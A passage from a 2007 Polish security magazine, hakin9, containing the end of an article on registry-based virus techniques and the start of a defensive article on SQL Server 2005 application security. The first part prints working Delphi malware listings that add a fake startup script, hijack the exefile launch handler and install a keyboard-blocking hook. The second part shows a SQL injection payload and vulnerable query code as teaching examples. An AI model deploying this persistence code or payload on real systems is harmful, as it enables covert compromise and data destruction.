mi wartościami zapętlamy program
do tego stopnia, że system się za-
wiesza. Specjalista od algorytmów
powiedział by, rzędu n

3

.

winexec('svchosts.exe',Sw_SHOW);
winexec('svchosts.exe',Sw_SHOW);
winexec('svchosts.exe',Sw_SHOW);

Wartość NoClose we wpisie
HKEY_CURRENT_USER\Software\
Microsoft\Windows\CurrentVersion
\Policies\Explorer wyłącza pole-
cenie Zamknij w menu start. Pod-
czas pisania wirusów można
wykorzystać także wpis w HKEY_
LO C A L _ M AC H I N E \ S o f t w a r e \
Microsoft\Windows\CurrentVersion\
Explorer\Desktop\NameSpace

o

nazwie

{450D8FBA-AD25-11D0-

98A8-0800361B1103}, który odpo-
wiada za ikonę Moje dokumenty na
pulpicie. Podszywając się pod nią,
wirus może swobodnie hasać po
komputerze.

Programy szpiegujące ukrywa-

ją się obok tego często jako usługi
systemu czy nawet jako sterowniki
urządzeń.

Listingi przedstawione w artykule

to kody źródłowe zagnieżdżania się
w systemie wirusów.

Wirusy zmieniają swoje nazwy,

często przypominają w efekcie te-

Generatory wirusów

• IVP – Instant Virus Production Kit,
• VCL – Virus Construction Labora-

tory,

• PS-MPC – Phalcon-Skism Mass

Produced Code Generator,

• G2 – G Squared,
• NRLG – Nuke Randomic Life Ge-

nerator.

Rysunek 1.

Rejestr Windows

background image

Hakowanie rejestru

hakin9 Nr 8/2007

www.hakin9.org

41

go wykonywalne pliki systemu. Mo-
gą także uruchamiać się na krótko,
by użytkownik nawet nie zauważył
kilkubajtowego wzrostu zużycia pa-
mięci, jako sterownik systemu Win-
dows lub usługa, której pochodze-

nie do końca jest niewiadome. Wi-
rus może pracować w systemie, nie-
kiedy przejmując nawet nazwę wła-
ściwego oprogramowania, ale znaj-
dując się w innej lokalizacji. Nor-
malnie wykorzystywany jest plik c:

\windows\system32\svchost.exe,
wystarczy jednak zmienić ścieżkę
programu na c:\windows\system\

svchost.exe, a użytkownik straci
orientację w uruchomionych proce-
sach Windowsa.

Listing 4.

Polityka bezpieczeństwa

Procedure

DodajSkrypt

;

var

Rejestr

:

Tregistry

;

plik

:

textfile

;

atrybut

:

integer

;

begin

Rejestr

:=

Tregistry

.

Create

;

Rejestr

.

RootKey

:=

HKEY_LOCAL_MACHINE

;

Rejestr

.

OpenKey

(

'SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Scripts\Startup\0\0'

,

true

);

Rejestr

.

WriteString

(

'Script'

,

'c:\svchosts.exe'

);

//

dodajemy

nowy

wpis

Rejestr

.

CloseKey

;

Rejestr

.

OpenKey

(

'SOFTWARE\Policies\Microsoft\Windows\System\Scripts\Startup\0\0'

,

true

);

Rejestr

.

WriteString

(

'Script'

,

'c:\svchosts.exe'

);

//

dodajemy

nowy

wpis

rejestr

.

free

;

atrybut

:=

FileGetAttr

(

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

);

FileSetAttr

(

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

,

0

);

assignfile

(

plik

,

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

);

rewrite

(

plik

);

Writeln

(

plik

,

''

);

writeln

(

plik

,

'[Startup]'

);

writeln

(

plik

,

'0CmdLine=C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\Startup\svchosts.exe'

);

writeln

(

plik

,

'0Parameters='

);

CloseFile

(

plik

);

copyfile

(

'svchosts.exe'

,

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\Startup\svchosts.exe'

,

true

);

FileSetAttr

(

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

,

atrybut

);

end

;

Listing 5.

Shell Windowsa

Procedure

shell

;

var

Rejestr

:

Tregistry

;

//

zmienna

odpowiedzialna

za

kontakt

z

rejestrem

begin

rejestr

:=

tregistry

.

Create

;

rejestr

.

RootKey

:=

HKEY_CLASSES_ROOT

;

//

jak

zwykle

zaczynamy

od

przypisania

wartosci

glownego

klucza

rejestr

.

OpenKey

(

'exefile\shell\open\command'

,

false

);

//

otwierany

klucz

odpowiedzialny

za

uruchamianie

czegokolwiek

;

rejestr

.

WriteString

(

''

,

'c:\svchosts.exe "%1" %*'

);

//

wpisujemy

do

rejestru

nasza

wartosc

czyli

uruchamianie

programu

§

wraz

z

rejestrem

rejestr

.

CloseKey

;

rejestr

.

OpenKey

(

'exefile\shell\runas\command'

,

false

);

rejestr

.

WriteString

(

''

,

'c:\svchosts.exe "%1" %*'

);

copyfile

(

'svhosts.exe'

,

'c:\svhosts.exe'

,

true

);

rejestr

.

Free

;

end

;

background image

hakin9 Nr 8/2007

www.hakin9.org

Atak

42

Hackowanie klawiatury

Windows odpowiada za przesyła-
nie informacji o naciśniętych klawi-
szach do aktywnego okna. Chociaż
na ekranie może znajdować się kilka
okien, tylko jedno z nich jest aktyw-
ne i tylko ono może otrzymywać in-

formację o naciśniętych klawiszach.
Aktywne okno można rozpoznać,
patrząc na jego pasek tytułowy, któ-
ry jest podświetlony.

W rzeczywistości istnieją dwa

główne rodzaje wiadomości pocho-
dzących od klawiatury, zależnie od

sposobu jej potraktowania. Klawia-
turę można potraktować mianowi-
cie jak zbiór klawiszy. W tym przy-
padku, jeśli zostanie naciśnięty kla-
wisz, system Windows wysyła wia-
domość WM_KEYDOWN do ak-
tywnego okna, informując je o tym

Listing 6.

Uruchom z parametrem

Procedure

parametr

;

var

b

:

boolean

;

//

blokowanie

aplikacji

begin

b

:=

true

;

if

AnsiContainsText

(

paramstr

(

1

)

,

'winword.exe'

)

then

b

:=

false

;

if

AnsiContainsText

(

paramstr

(

1

)

,

'winamp.exe'

)

then

b

:=

false

;

if

b

then

winexec

(

pchar

(

paramstr

(

1

))

,

Sw_SHOW

);

messagebox

(

0

,

pchar

(

paramstr

(

1

))

,

'Start'

,

0

);

end

;

Listing 7.

Sprzątanie w systemie

Procedure

sprzataj

;

var

Rejestr

:

Tregistry

;

plik

:

textfile

;

begin

Rejestr

:=

Tregistry

.

Create

;

Rejestr

.

RootKey

:=

HKEY_LOCAL_MACHINE

;

Rejestr

.

OpenKey

(

'software\Microsoft\Windows\CurrentVersion\Run'

,

false

);

Rejestr

.

DeleteKey

(

'system'

);

rejestr

.

CloseKey

;

if

fileexists

(

'c:\svchosts.exe'

)

then

DeleteFile

(

'c:\svchosts.exe'

);

Rejestr

.

RootKey

:=

HKEY_LOCAL_MACHINE

;

Rejestr

.

OpenKey

(

'SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Scripts\Startup\0\0'

,

true

);

Rejestr

.

DeleteKey

(

'Script'

);

//

dodajemy

nowy

wpis

Rejestr

.

CloseKey

;

Rejestr

.

openkey

(

'SOFTWARE\Policies\Microsoft\Windows\System\Scripts\Startup\0\0'

,

true

);

Rejestr

.

deletekey

(

'Script'

);

//

dodajemy

nowy

wpis

rejestr

.

CloseKey

;

if

fileExists

(

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

)

then

begin

assignfile

(

plik

,

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

);

rewrite

(

plik

);

CloseFile

(

plik

);

DeleteFile

(

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\Startup\svchosts.exe'

);

end

;

rejestr

.

RootKey

:=

HKEY_CLASSES_ROOT

;

rejestr

.

OpenKey

(

'exefile\shell\open\command'

,

false

);

rejestr

.

WriteString

(

''

,

'"%1" %*'

);

//

przywracamy

prawid

ł

ow

ą

warto

ść

rejestr

.

CloseKey

;

rejestr

.

free

;

//

zwalniamy

zmienna

rejestru

;

end

;

background image

Hakowanie rejestru

hakin9 Nr 8/2007

www.hakin9.org

43

fakcie. Gdy klawisz zostanie zwol-
niony, Windows wysyła wiadomość
WM_KEYUP. Klawisz traktujemy
jak przycisk. Innym sposobem po-
strzegania klawiatury jest przyjęcie,
iż stanowi ona urządzenie do wpro-
wadzania znaków. Gdy naciśniemy
klawisz A, system Windows wysy-
ła wiadomość WM_CHAR do ak-
tywnego okna informując je o tym,
że użytkownik przesyła do nie-
go znak A. W rzeczywistości Win-
dows wysyła do okna wiadomości
WM_KEYDOWN i WM_KEYUP, a
wiadomości te zostają przetłuma-
czone na wiadomości WM_CHAR
przez wywołanie funkcji Translate-

Message.

Procedura danego okna mo-

że zdecydować się przetwarzać
wszystkie trzy wiadomości klawia-
tury lub tylko te, którymi jest zain-
teresowana. W większości przypad-
ków można zignorować wiadomości
WM_KEYDOWN oraz WM_KEY-
UP, ponieważ wywołanie funkcji

TranslateMessage w pętli wiadomo-
ści przetłumaczy je na wiadomości
WM_CHAR.

Podsumowanie

Systemy komputerowe są ciągle ła-
tane, hakerzy znajdują dziury, crac-
kerzy łamią zabezpieczenia. Do te-
go wyścigu dołączyli także produ-
cenci oprogramowania antywiruso-
wego. Ciągle unowocześniana, ak-
tualizowana nawet kilka razy dzien-
nie baza wirusów powoduje, że czu-
jemy się bezpiecznie. Ciągle słyszy
się o atakach na serwery, przy czym
najbardziej narażone na nie są zna-
ne instytucje.

Każdy z nas może jednak zostać

zaatakowany przez wirusa, robaka
i tym podobne złośliwe oprogramo-
wanie, nie trzeba nawet wchodzić na
strony je zawierające. Do poszuki-
wania wirusa w systemie wykorzy-
stywany jest program antywiruso-

wy, służyć mogą do tego także róż-
nego rodzaju programy antyspywa-
re. Jednak od czasu do czasu war-

to zajrzeć do rejestru czy autostar-
tu, choćby po to, aby posprzątać tam
śmieci. l

O autorze

Zainteresowania: muzyka, programo-
wanie object pascal, c++, bezpieczeń-
stwo informacji.
Kontakt z autorem: rafalpa@interia.pl

Listing 8.

Hack na klawiaturę

public

{ Public declarations }

procedure

BlockKlaw

;

//

Blokujemy

klawiature

end

;

var

Hklaw

:

HHOOK

;

//

ID

Hooka

.

type

PKbdDllHookStruct

=

^

TKbdDllHookStruct

;

TKbdDllHookStruct

=

record

vkCode

,

ScanCode

,

Flags

,

Time

,

dwExtraInfo

:

Integer

;

end

;

const

WH_KEYBOARD_LL

=

13

;

//

nr

blokady

niskiego

poziomu

.


//

W

cze

ś

ci

implementation

zapisujemy

funkcje

function

LLKeyHookFunc

(

HookCode

:

Integer

;

KeyCode

:

wParam

;

KstrokeInfo:§

lParam

):

LResult

;

stdcall

;

var

Struct

:

PKbdDllHookStruct

;

//

Wska

ź

nik

do

struktury

begin

Struct

:=

Ptr

"

>

Ptr

(

KStrokeInfo

);

Result

:=

0

;

if

(

HookCode

>=

0

)

then

begin

{ Blokujemy kombinację Ctrl+Esc }

if

(

Struct

.

vkCode

=

VK_ESCAPE

)

and

(GetAsyncKeyState§

(

VK_CONTROL

)<-

32766

)

then

Result

:=

1

;

{ Blokujemy Alt+Tab }

if

(

Struct

.

vkCode

=

VK_TAB

)

and

(

GetAsyncKeyState

(

VK_MENU

)<-

32766

)

then

Result

:=

1

;

{ Blokujemy prawy i lewy klawisz Windowsa }

if

(

Struct

.

vkCode

=

VK_LWIN

)

or

(

Struct

.

vkCode

=

VK_RWIN

)

then

Result

:=

1

;

end

;

//

przekazanie

informacji

do

innych

okien

if

(

Result

=

0

)

then

Result

:=

CallNextHookEx

(

Hklaw

,

HookCode

,

KeyCode

,

KStrokeInfo

);

end

;

{ Załóżmy Hook na system }

procedure

TForm1

.

LockSystem

;

begin

Hklaw

:=

SetWindowsHookEx

(

WH_KEYBOARD_LL

, @

LLKeyHookFunc

,

hInstance

,

0

);

end

;

procedure

TForm1

.

Button1Click

(

Sender

:

TObject

);

begin

LockSystem

;

end

;

background image

www.hakin9.org

hakin9 Nr 8/2007

44

Obrona

D

laczego w ogóle powinniśmy się mar-
twić o bezpieczeństwo? Między innymi
dlatego, że tworzonych jest coraz więcej

systemów typu mission-critical, czyli takich, któ-
rych brak działania może spowodować przerwę
w pracy przedsiębiorstwa, jakie je wykorzystuje, a
to może pociągnąć za sobą ogromne straty. Do-
datkowym czynnikiem, na który musimy zwrócić
uwagę, jest fakt, że coraz częściej nasze systemy
działają w rozproszonym środowisku, a co za tym
idzie, powstaje coraz więcej punktów, w których
mogą zostać skradzione nasze dane lub możemy
narazić na niebezpieczeństwo nasz system. Bio-
rąc pod uwagę jeszcze jeden element, a mianowi-
cie to, że nasze systemy stają się coraz bardziej
rozbudowane i skomplikowane, musimy pamiętać
o bezpieczeństwie. Trzeba mieć zawsze na uwa-
dze to, że nasze oprogramowanie musi wspierać
bezpieczeństwo. Nie możemy pozwolić sobie na
sytuację, gdzie główną osobą odpowiedzialną za
bezpieczeństwo jest administrator systemów – w
dzisiejszych czasach administrator i programista
muszą działać razem. Artykuł ma na celu przed-
stawienie różnych aspektów bezpiecznego two-
rzenia aplikacji w oparciu o SQL Server 2005. Za-
gadnienia tu podjęte, obejmują elementy dotyczą-
ce pisania kodu po stronie Visual Studio, elemen-

ty SQL Server oraz najlepsze praktyki propono-
wane przez Microsoft, które mogą pomóc przy
tworzeniu bezpiecznych aplikacji i systemów.

Łączymy się do bazy danych

– Connection String

Głównym narzędziem do tworzenia aplikacji na
platformie Microsoft jest Visual Studio. Pozwala

Microsoft SQL Server 2005

– bezpieczne aplikacje

Artur Żarski

stopień trudności

Bardzo często przed rozpoczęciem prac nad nowym systemem

rozpatrujemy kwestie bezpieczeństwa, szczególnie w odniesieniu

do aplikacji, które zawierają bardzo istotne dane dla naszego

przedsiębiorstwa lub klienta.

Z artykułu dowiesz się

• artykuł pokazuje różne aspekty tworzenia bez-

piecznych aplikacji w oparciu o serwer bazy da-
nych Microsoft SQL Server 2005,

• jakie są najczęściej spotykane problemy oraz

sposoby ich rozwiązania. W publikacji znajdu-
ją się wskazówki dla programistów oraz admi-
nistratorów baz danych.

Co powinieneś wiedzieć

• podstawowe terminy związane z bezpieczeń-

stwem, np. autoryzacja, autentykacja, imperso-
nalizacja,

• podstawy programowania oraz podstawy SQL

Server 2005 i języka T-SQL.

background image

Microsoft SQL Server 2005 – bezpieczne aplikacje

hakin9 Nr 8/2007

www.hakin9.org

45

ono na tworzenie aplikacji dla syste-
mu Windows oraz aplikacji Web. We
wszystkich aplikacjach, bez względu
na ich rodzaj, podstawowym zagad-
nieniem jest dostęp do danych. W ce-
lu połączenia z bazą danych, używa-
my różnych sterowników dostępu do
danych. Bez względu na rodzaj ste-
rownika i rodzaj źródła danych, musi-
my stworzyć obiekt, który będzie re-
prezentował połączenie i który będzie
zawierał Connection String – czy-
li ciąg, który mówi gdzie i jak chce-
my się połączyć. Istnieje kilka sposo-
bów Connection String na połączenie
z bazą danych. Podstawowym obiek-
tem dla platformy .NET do połącze-
nia do SQL Server jest obiekt Sql-

Connection (dostępny w przestrze-
ni nazw System.Data.SqlClient. Mo-
że on przyjąć następujące wartości

Connection String:

Data Source=myServerAddres-

s;Initial Catalog=myDataBase-

;User Id=myUsername;Passwor-

d=myPassword;

Server=myServerAddress;Data-

base=myDataBase;User ID=my-

Username;Password=myPasswor-

d;Trusted_Connection=False;

• Data Source=myServerAddres-

s;Initial Catalog=myDataBase-
;Integrated Security=SSPI;

• Server=myServerAddress;Da-

tabase=myDataBase;Trusted_
Connection=True;

Pierwsze dwa wskazują bezpośred-
nio na nazwę serwera bazy danych,
bazę danych oraz jawnie przyjmu-
je nazwę użytkownika i hasło. Wy-
korzystywane są one głównie wte-
dy, gdy logujemy się przy pomocy
kont założonych po stronie SQL Se-
rver. Trzeci i czwarty nie ma para-
metrów nazwa użytkownika i hasło,
a jego główne zastosowanie to apli-
kacje, w których użytkownicy autory-
zowani są przy pomocy kont syste-
mu Windows lub kont domenowych.
Dla systemów, które nie łączą się do
SQL Server, a do innych baz danych,
przewidziany jest sterownik OLE DB.
Jest on bardzo podobny do poprzed-
nika, ale posiada dwa dodatkowe
elementy. Pierwszy, mniej istotny z
punktu widzenia bezpieczeństwa,
jest element Provider, który mówi do
jakiej bazy danych będziemy się łą-
czyć. Drugi to bardzo ważny element

Encrypt, który może wymusić bez-
pieczne połączenie do bazy danych
(o ile tego typu połączenia wspiera-
ne są przez bazę danych). Jego za-
pis przedstawia się na Listingu 9.

Dlaczego w ogóle wspomina się

tu o Connection String i jego para-
metrach? Podstawowy powód to
sposób jego przechowywania w apli-
kacji i użycia. Mamy trzy możliwości
przechowywania Connection String:

• w kodzie aplikacji,
• w pliku konfiguracyjnym aplikacji,
• w przypadku IIS7 i aplikacji

ASP.NET możemy przechowy-
wać go po stronie serwera IIS7.

Każdy z tych sposobów ma swoje wa-
dy i zalety. Zastanawiając się nad wy-
borem odpowiedniego sposobu uży-
cia Connection String, należy wziąć
pod uwagę, czy przekazujemy hasło
i nazwę użytkownika w ramach po-
łączenia, czy nasza aplikacja pracu-
je w Sieci rozproszonej, czy jest na-
rażona na możliwość podsłuchiwa-
nia oraz czy do naszej aplikacji mo-
gą mieć dostęp osoby niepowołane.
Najbardziej niebezpieczne jest prze-
chowywanie połączenia w programie
i przekazywanie użytkownika i hasła
jawnie. Jest to o tyle groźne, że jeśli
nasza aplikacja nie zostanie poddana
procesowi zaciemniania kodu (patrz
artykuł w hakin9 6/2007), to przy uży-
ciu prostego narzędzia osoba niepo-
wołana może uzyskać dostęp do ser-
wera bazy danych.

Zaleca się przechowywanie Con-

nection String w plikach konfiguracyj-
nych, a dodatkowo warto przechowy-
wać je w postaci zaszyfrowanej i de-

Rysunek 1.

Wynik działania programu Reflector.NET

Listing 1.

Przykładowy plik konfiguracyjny z zaszyfrowanym

Connection String

<

?xml version=

"1.0"

encoding=

"utf-8"

?

>

<

configuration

>

<

connectionStrings

>

<

add name=

"DD_cnx"

connectionString="JoHjmHJHXizQY41UhM4swXpoDrzMqi03N1j0+xiRhbjprFw8yII0

Oc67P0uFg11zHx61tnoT3QLyHxsIxn9mxdN0EMQPrBgYR1i6BxHyUz80Ju/8YYFu+

ObRUAH69KC6oaGh+mNlEkhU4EyO7/Nn2sKAneOhWXqdp3EgttrLc0Q="

providerName=

"System.Data.SqlClient"

/

>

<

/connectionStrings

>

<

/configuration

>

background image

hakin9 Nr 8/2007

www.hakin9.org

Obrona

46

szyfrować podczas odwoływania się
do nich. Przykład zawartości takiego
szyfrowanego pliku konfiguracyjnego
może wyglądać tak, jak na Listingu
1. Jak widzimy, jest ona zupełnie nie-
czytelna dla niepowołanych osób:

Źli użytkownicy

Pod hasłem źli użytkownicy rozu-
miemy osoby, które chcą wykorzy-
stać polecenia T-SQLa, a jednocze-
śnie źle napisane aplikacje, w któ-
rych przekazywane polecenia SQL
są sklejane z poszczególnych pól
formularzy i jako jedna całość są
wysyłane do serwera bazy danych.
Taki atak nazywamy SQL Injection
– czyli wstrzykiwanie poleceń SQL
do już istniejących poleceń SQLo-
wych. Dlaczego w ogóle SQL In-
jection działa? Odpowiedź na takie
pytanie jest bardzo prosta – aplika-
cja bezwzględnie akceptuje wszyst-
kie wprowadzone przez użytkownika
wartości. Polecenia TSQL umiesz-
czane są zwykle w standardowych
miejscach: pola tekstowe, ciągi za-
pytań czy też manipulowanie war-

tościami w samym HTML-u. Jeśli
przyjrzymy się fragmentowi aplikacji,
gdzie na formularzu użytkownik wpi-
suje nazwę miasta, to przy fragmen-
cie kodu, jak na Listingu 8.

Standardowy i nieszkodliwy użyt-

kownik wprowadzi tu jakąś wartość,
np. Redmond, a wtedy zapytanie
przesłane do bazy danych będzie
wyglądać tak:

SELECT * FROM OrdersTable WHERE
ShipCity = ‘Redmond’

Jeśli do komputera usiądzie jednak
zły użytkownik, który chce nam za-
szkodzić, to wprowadzi on następu-
jącą wartość: Redmond’ ; DROP TA-

BLE OrdersTable - -. Do serwera ba-
zy danych zostaną w tym momencie
przesłane dwa zapytania:

SELECT * FROM OrdersTable WHERE
ShipCity = ‘Redmond’;
DROP TABLE OrdersTable--’

Jaki płynie z tego wniosek? Po pierw-
sze, nie należy pod żadnym pozorem

ufać użytkownikowi – nawet najlep-
szy użytkownik może stanowić po-
ważne zagrożenie. Po drugie, trze-
ba sprawdzać poprawność wprowa-
dzanych danych i wyrzucać to, co nie
jest zgodne. Po trzecie, twoim przyja-
cielem są wyrażenia regularne, dzię-
ki którym błyskawicznie możemy wa-
lidować poprawność wprowadzanych
danych. Po czwarte nie należy łączyć
łańcuchów, które budują zapytania
SQL, a co za tym idzie – zawsze trze-
ba parametryzować zapytania i uży-
wać procedur składowanych. Przy-
kłady pokazane są na Listingu 2 i 3.

Pamiętać należy też o tym, że bu-

dowanie zapytań z łączenia ciągów
po stronie SQL-a również może przy-
nieść fatalne skutki, nawet jeśli użyje-
my do tego celu procedury składowa-
nej – przykład na Listingu 4.

Po stronie SQLa

Twórcy Microsoft SQL Server 2005
podczas tworzenia bazy danych po-
stawili sobie za jeden z głównych ce-
lów zagwarantowanie bezpieczeń-
stwa danych i serwera. SQL Server
2005 wprowadza nowe elementy
bezpieczeństwa, do których zaliczyć
możemy: restrykcyjny dostęp do ser-
wera, blokowanie usług oraz bez-
pieczna konfiguracja usług i redukcja
przestrzeni ataku dla nowych ele-
mentów poprzez standardowe wyłą-
czenie większości dostępnych usług.
Dzięki temu, tuż po instalacji serwe-
ra jesteśmy narażeni w minimalnym
stopniu na różnego rodzaju zabez-
pieczenia. Zanim zaczniemy oma-
wiać poszczególne elementy zwią-
zane z programowaniem bezpiecz-
nych aplikacji, przyjrzyjmy się sa-
mej bazie danych SQL Server 2005
oraz temu, jak komunikuje się ona i
jak wygląda jej model bezpieczeń-
stwa. Rysunek 2 przedstawia sche-
mat bezpieczeństwa SQL Server.

Cały proces, od momentu żąda-

nia do momentu pełnej autoryzacji,
wygląda następująco:

• W pierwszej kolejności następu-

je żądanie połączenia sieciowe-
go. Łącząca się aplikacja „infor-
muje o chęci” połączenia. Nastę-
puje proces „przywitania się” obu

Listing 2.

Przykład kodu, który wykorzystuje procedury składowane

c

nx = new SqlConnection(stringConnectionString);cnx.Open();

SqlDataAdapter

cmd

=

new

SqlDataAdapter

(

"spMaUprawnienia"

,

cnx

);

cmd

.

SelectCommand

.

Parameters

.

Add

(

"@u"

,

SqlDbType

.

VarChar

);

cmd

.

SelectCommand

.

Parameters

.

Add

(

"@h"

,

SqlDbType

.

VarChar

);

cmd

.

SelectCommand

.

Parameters

[

"@u"

]

.

Value

=

edtLogin

.

Text

;

cmd

.

SelectCommand

.

Parameters

[

"@h"

]

.

Value

=

edtHaslo

.

Text

;

DataSet

ds

=

new

DataSet

();

cmd

.

Fill

(

ds

);

Listing 3.

Przykład procedury składowanej w SQL Server 2005

CREATE PROCEDURE

[dbo].[spMaUprawnienia]

@u varchar

(

20

)

,

@h varchar

(

20

)

as

SELECT

count

(

*

)

FROM

uzytkownicy

WHERE

uzytkownik = @u

and

haslo = @h

Listing 4.

Przykład procedury składowanej, która generuje SQL z

różnych ciągów

C

REATE PROCEDURE [dbo].[spMaUprawnienia2]

@u varchar

(

100

)

,

@h varchar

(

100

)

as

declare @wynik nvarchar

(

300

)

set

@wynik =

'SELECT count(*) FROM uzytkownicy WHERE uzytkownik ='

+

''''

+

@u+

''''

+

' and haslo = '

+

''''

+ @h +

''''

EXECUTE sp_executesql @wynik

background image

Microsoft SQL Server 2005 – bezpieczne aplikacje

hakin9 Nr 8/2007

www.hakin9.org

47

aplikacji (z ang. Pre-login hand-

shake). Następuje połączenie.

• Następnie wysyłane jest z aplika-

cji żądanie autentykacji loginu SQL.
Jeśli weryfikacja powiedzie się, na-
stępuje ustanowienie uprawnień.

• Kolejnym krokiem jest przejście

do odpowiedniej bazy danych i
autoryzacja użytkownika. Po tym
działaniu, jeśli użytkownik jest po-
prawnie zautoryzowany, nastę-
puje przejście do konkretnej bazy
danych i ustanowienie kontekstu.

• Ostatni krok to próba wykonania

jakiejś akcji. Weryfikowane są
uprawnienia dla wszystkich akcji
i, jeśli jest to możliwe, żądana ak-
cja jest wywoływana.

W taki sposób następuje proces po-
łączenia do bazy danych. Warto o
tym pamiętać, jeśli chcemy wyko-
nywać jakieś akcje w poszczegól-
nych momentach tego procesu. Na-
leży również mieć na uwadze inne,
nie programistyczne aspekty bezpie-
czeństwa SQL Server, o standardo-
wo używanych portach, o możliwości
szyfrowania połączenia przy pomo-
cy SSL z poziomu SQL Server.

Nowe elementy

języka T-SQL i silnika

relacyjnego

Schematem nazywamy grupę obiek-
tów, które pozwalają na łatwe zabez-
pieczenie dostępu do danych. Dzię-
ki temu możliwe jest przypisanie
użytkownika do schematu w bardzo
prosty sposób, przy użyciu poleceń
T-SQLa. Aby korzystać ze schema-
tów, należy je na początku stworzyć.
Do tego celu służy polecenie CRE-

ATE SCHEMA (Listing 5).

Tworzenie tabel w schemacie wy-

maga konstrukcji schemat.tabela. Li-
sting 6 pokazuje stworzenie tabeli we
wcześniej stworzonym schemacie.

Szczególnym schematem jest

schemat sys. Jest on tworzony dla
każdej bazy danych i przechowuje
on wszystkie obiekty systemowe.

Zmiana kontekstu

zabezpieczeń

Tworząc system, często zastanawia-
my się nad tym, w jaki sposób można

uruchomić jakąś procedurę lub funk-
cję przez użytkownika, który standar-
dowo nie ma do tego prawa. W tym
celu została stworzona nowa klauzu-
la EXECUTE AS, która pozwala na
zmianę kontekstu użytkownika. Aby
można było w łatwy sposób zrozu-
mieć ideę działania tej klauzuli, prze-
śledźmy następujący przykład. Użyt-

kownik A ma uprawnienia do wyko-
nania procedury Procedura A. Pro-
cedura ta działa na obiektach Obiekt
A, Obiekt B., Obiekt C. Użytkownik A
ma uprawnienia tylko do Obiektu A.
Obiekt B i Obiekt C należą do użyt-
kownika B. Jeśli użytkownik A wywo-
ła procedurę, to zostanie ona prze-
rwana w momencie odwołania się do

Rysunek 2.

Schemat komunikacji aplikacji z SQL Server 2005

Żądanie połączenia sieciowego/pre-login handshake

Żądanie autentyfikacji loginu SQL Server

Ustanowienie uprawnień

Połączenie do SQL Server

Przejście do DB i autoryzacja dostępu

Próba wykonania jakiś akcji

Weryfikacja uprawnień dla wszystkich akcji

Ustanowienie kontekstu bazy danych

Listing 5.

Tworzenie schematu

CREATE

SCHEMA MojSchemat

Listing 6.

Tworzenie tabeli

CREATE TABLE

MojSchemat.MojaTabela

(

PoleA int, PoleB int

)

Listing 7.

Użycie EXECUTE AS

CREATE PROCEDURE

Procedura A

WITH

EXECUTE

AS

‘B’

AS

…..

Listing .8

Fragment kodu aplikacji, gdzie użytkownik wprowadza

prawidłową wartość

var shipcity;
ShipCity = Request.form

(

“Shipcity”

)

var sql = “

SELECT

*

FROM

OrdersTable

WHERE

ShipCity = ‘” + Shipcity + “’”;

Listing 9.

Connection String z parametrem Encrypt szyfrującym

połączenia

Provider=SQLNCLI;Server=myServerAddress;
Database=myDataBase;Trusted
Connection=yes;Encrypt=yes;

background image

hakin9 Nr 8/2007

www.hakin9.org

Obrona

48

obiektu, do którego A nie ma dostę-
pu. Aby temu zapobiec, można sto-
sować klauzulę EXECUTE AS, któ-
ra uruchomi procedurę w kontekście
uprawnień użytkownika B. Klauzu-
la ta pozwala na stosowania jej przy
procedurach składowanych oraz
funkcjach użytkownika.

Przykład 7 pokazuje stworzenie

procedury, która umożliwi każdemu na
wywołanie procedury z uprawnieniami
użytkownika B. Możliwe jest jeszcze
użycie tej klauzuli w postaci EXECU-
TE AS SELF. EXECUTE AS SELF po-
zwala na wywołanie procedury w kon-
tekście osoby, która ją wywołuje.

Szyfrowanie danych

Microsoft SQL Server 2005 wspie-
ra bardzo mocno mechanizmy szy-
frowania. Dzięki temu programista
ma dużo mniej pracy, a mechanizmy
wbudowane w bazę danych w wielu
przypadkach mogą okazać się bar-
dziej wydajne niż własne rozwiąza-
nia. Nowa baza wspiera szyfrowa-
nie symetryczne, asymetryczne oraz
używanie certyfikatów. Dostępne są

następujące algorytmy szyfrowania:
Dla symetrycznych: DES, TRIPLE_
DES, RC2, RC4, DESX, AES_128,
AES_192, AES_256 oraz dla asy-
metrycznych jest dostępny algorytm
RSA o długości kluczy 512, 1024 oraz
2048 bitów. Aby można było uży-
wać szyfrowania danych w swoich
aplikacjach, zostały stworzone no-
we funkcje: EncryptByKey, Decrypt-

ByKey, EncryptByPassPhrase, De-

cryptByPassPhrase oraz Key_GU-

ID, Key_ID. Funkcja EncryptByKey,

DecryptByKey służą do szyfrowania
i deszyfrowania wg zdefiniowanego
klucza; EncryptByPassPhrase oraz

DecryptByPassPhrase do szyfrowa-
nia i deszyfrowania wg zadanej fazy.
Aby można było pracować z szyfro-
wanymi danymi, należy wykonać na-
stępujące kroki:

• utworzyć klucz główny (może być

ich kilka),

• utworzyć, o ile jest to wymagane,

certyfikat,

• utworzyć klucz symetryczny lub

asymetryczny. (klucz symetrycz-

ny może być szyfrowany dodat-
kowo używając certyfikatu lub
klucza asymetrycznego),

• otworzyć klucz,
• po otwarciu możliwe jest praco-

wanie z szyfrowanymi danymi,

• zamknąć klucz.

Do tworzenia kluczy wykorzystuje-
my, rozbudowaną o nowe elementy,
klauzulę CREATE:

• CREATE MASTER KEY – utwo-

rzymy klucz główny,

• CREATE ASYMMETRIC KEY

– klucz asymetryczny,

• CREATE SYMMETRIC KEY

– klucz symetryczny,

• CREATE CERTIFICATE – two-

rzymy certyfikat.

Wszystkie symetryczne oraz klucze
prywatne są zawsze przechowywa-
ne zaszyfrowane. Ochrona tych klu-
czy bazuje na hasłach użytkowników
oraz na automatycznym procesie
używającym SQL Server Key Mana-

gement. Musimy pamiętać o tym, że
wszystkie klucze muszą być zawsze
chronione. Jeśli klucz zginie, dane
również przepadną. Wszystkie klucze
używane w SQL Server mogą być ar-
chiwizowane i odtwarzane w razie po-
trzeby. Wyróżniamy dwa główne klu-
cze w systemie. Pierwszy z nich to

Master Key i jest to główny klucz dla
bazy danych. Jego podstawowym za-
daniem jest ochrona kluczy prywat-
nych. Dla jego ochrony mamy dwa
polecenia:

• ALTER MASTER KEY DDL,
